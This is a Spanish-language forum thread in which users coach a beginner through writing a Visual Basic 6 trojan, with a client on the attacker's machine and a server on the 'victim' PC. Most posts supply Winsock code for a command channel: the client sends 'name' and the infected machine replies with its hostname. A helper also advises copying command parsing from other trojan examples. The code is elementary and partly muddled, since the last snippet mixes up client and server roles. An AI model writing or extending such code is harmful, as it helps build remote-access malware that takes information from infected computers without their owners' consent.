Solo es para completar algo más...
Buenas, podria ser que el server mandara el contenido de command1_click al cliente?
Osea que yo clico en el cliente y me mande lo que pone en command_click
Mi idea es...
Que al hacer click en el boton command
Me de el nombre de su PC y lo ponga en un label1
Podria ser chicos? espero respuesta :rolleyes:
A ver, q no te e entendido bien.. q es lo q kieres q haga el troyano?? q tu en el cliente (el q tienes tu en tu pc) le des a un boton y el ordenador "victima" te mande su nombre? (es decir el nombre del Pc infectado?) o q es lo q kieres hacer? explicate un poco mejor por q no se entiende xD
Salu3
cuando yo haga click en un command quiero saber la informacion de su pc entiendes? el codigo es este, pero remotalmente no se como es..
Dim Nombre As String * 257
Dim WSAD As WSAData
WSAStartup &H101, WSAD
gethostname Nombre, 257
Nombre1.Caption = Nombre
Ok, ya te entendi ;D
Mira tienes q hacer lo siguiente:
Desde el cliente (el q esta en tu pc) pones un boton q se llame nombre del pc por ejemplo y en su evento click haces q el winsokc envie la palabra "name" por ejemplo, seria algo asi:
ws.senddata "name
Ahora en tu servidor (el q esta en el pc infectado) donde recibes los datos del ws tienes q hacer un select case con los datos recibidos y en el case "name pones esto:
case "name":
Dim Nombre As String * 257
Dim WSAD As WSAData
WSAStartup &H101, WSAD
gethostname Nombre, 257
ws.senddata Nombre
Así lo q recibas en tu cliente será el nombre del pc remoto q puedes mostrar en un msgbox, un label o como tu veas ;)
Si tienes mas dudas pregunta, o pega un poco de tu code y te digo donde ponerlo exactamente
Saludos
PD - Seria interesante q te miraras ejemplillos de troyanos e imites el uso q le dan a la funcion split en la llegada de datos ;)
Con perdón...
Podrias explicarmelo un poco mas sencillito? jeje no me aclaro :(
cliente
boton command
Private Sub NombrePC_Click()
Ws.SendData "Nombre"
End Sub
------
SERVER
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim Nombre As String * 257
Ws.SendData Nombre1.Caption
End Sub
----------
Cliente
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim Nombre As String
Ws.GetData Nombre
Nombre = Label12.Caption
End Sub
Aqui tienes amigo, podrias echarme una mano?
Podias usar las etiketas de code.... :rolleyes:
CLIENTE
Private Sub NombrePC_Click()
Ws.SendData "name|" & Nombre ' Nombre es una variable string q contiene el nombre del pc
End Sub
SERVER
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
dim datos as string
dim sDatos as string
ws.getdata datos
sdatos = split(datos, "|")
if sdatos(0) = "name" then
msgbox "El nombre del pc remoto es: " & sdatos(1)
end if
End Sub
Seria algo asi, si no entiendes el funcionamiento del split chekeate algune ejemplo q hay muchos por el foro.. ademas veo fallos muy elementales, deberias seguir estudiando..
Salu3